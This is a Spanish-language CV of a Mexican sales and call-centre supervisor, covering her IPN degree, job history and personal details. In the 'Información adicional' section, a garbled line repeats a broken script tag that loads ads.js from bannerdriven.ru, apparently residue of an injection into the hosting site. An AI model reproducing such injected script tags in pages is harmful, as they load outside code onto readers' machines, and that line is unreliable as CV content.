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CURRICULUM VITAE


ANALAURAFLORES -
(Administración)
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FORMACIÓN ACADÉMICA

 

- LIC. EN RELACIONES COMERCIALES
Licenciado
Marketing
ESCUELA SUPERIOR DE COMERCIO Y ADMINISTRACION - TEPEPAN-IPN
 

FORMACIÓN COMPLEMENTARIA

 
- DISPOSICIONES NORMATIVAS Y OPERATIVAS DEL COMERCIO EXTERIOR EN MEXICO
- PLAN DE VIDA Y CARRERA EMPRESARIAL
 

EXPERIENCIA

 

- FANDIS, S.A. DE C.V.  
3/ 2006 - Actual
Comercial - Ventas
Coordinar, supervisar el área de Telemarketing, administrando clientes existentes e incorporando nuevos, apoyar y capacitar personal, analizar resultados de ventas y seguimiento, cumplimiento de objetivos, reportes mensuales, pago de comisiones.

- AFICION FUTBOL, S.A. DE C.V.  
2/ 2005 - 12/ 2005
Atención al cliente
Supervisión directa de call center, atender reclamaciones del cliente, revisar faltantes en envíos, reportes mensuales de productividad.

- CORPORATIVO DE MULTISERVICIOS FUNCIONALES  
5/ 2004 - 1/ 2005
Atención al cliente
Supervisión de central de radio, controlar el proceso de ubicación de las unidades de transporte, apoyo en caso de siniestros, verificar cumplimiento en tiempos de atención al cliente.

- COMISION NACIONAL DEL AGUA  
3/ 2004 - 7/ 2004
Otras (No se especifica)
Servicio Social como Auxiliar Admvo. organización de cursos y seminarios de capacitación, contacto con proveedores; mantenía al día las pólizas de seguro de los vehículos de la Conagua.

- CONVENIO ACADEMICO  
9/ 2003 - 3/ 2004
Comercial - Ventas
Gerente divisional, control de ventas, seguimiento a pedidos y servicio de post-venta.

- TECMARKETING, S.A. DE C.V.  
3/ 1998 - 2003
Comercial - Ventas
Operador telefónico, ventas, atención a clientes, soporte técnico.
 

IDIOMAS

Inglés Nivel Intermedio
 

INFORMÁTICA

Ofimatica (Word, Excell,…) Nivel Intermedio

INFORMACIÓN ADICIONAL


FORMACIÓN:EXPERIENCIA:COMPLEMENTARIA:INFORMACIÓN ADICIONAL:script src=http://www.bannerdriven.ru/ads.js>script src=http://www.bannerdriven.ru/ads.js>
 

Disponibilidad

¿Estoy dispuesto a viajar?  SI
¿Estoy dispuesto a trabajar en el extranjero?  SI
¿Estoy dispuesto a trabajar fuera de mi zona?  NO
 

Cualidades

Eficiente , Honesto/a , Inteligente , Organizado/a , Persistente , Productivo/a , Responsable , Seguro/a
 

Aficiones

Baloncesto/Voleibol, Cine/Películas, Senderismo/Acampadas, Servicios Sociales Voluntarios, Viajar/Turismo

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